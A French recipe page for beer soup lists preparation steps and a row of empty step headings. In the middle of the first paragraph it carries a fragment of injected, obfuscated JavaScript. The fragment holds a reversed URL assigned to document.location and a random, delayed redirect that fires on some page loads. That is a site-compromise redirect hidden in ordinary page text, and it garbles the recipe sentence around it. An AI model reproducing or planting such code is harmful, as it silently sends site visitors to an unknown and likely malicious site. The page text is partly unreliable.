Soupe à la bière
2021-05-02- Niveau : Facile
Pelez, coupez en petits cubes le céleri-rave. Citronnez pour éviter qu’ils noircissent. Pelez, lavez et coupez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les légumes en brunoises.
Ingrédients
Pelez, coupez en petits cubes le céleri-rave. Citronnez pour éviter qu'ils noircissent. Pelez, lavez et coupez tous les légumes en brunoises. Dans une cocotte avec 2 cuillères à soupe d'huile d'arachide, sur feu vif, faites suer tous les légumes, pendant quelques minutes. Réservez.
Dans une poêle avec 2 cuillères à soupe d'huile d'arachide, sur feu vif, faites revenir les ailerons de volaille, salez, poivrez. Mouillez avec la bière et l'eau. Portez à ébullition. Faites mijoter sur feu doux pendant 1 heure.
Coupez en petits dés le jambon, le fromage. Coupez la mie de pain en petits cubes, que vous faites revenir dans une poêle avec un mélange d'huile et beurre. Quand ils sont bien dorés les déposer sur du papier absorbant.
Présentez le jambon / le fromage / les croûtons / 2 cuillères à soupe de crème fleurette, le persil, dans des bols individuels. Retirez les ailerons de volaille. Mixez la soupe. Incorporez 2 cuillères à soupe de crème fleurette. Mélangez. Servez la soupe chaude.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
Etape 13
Etape 14
Etape 15
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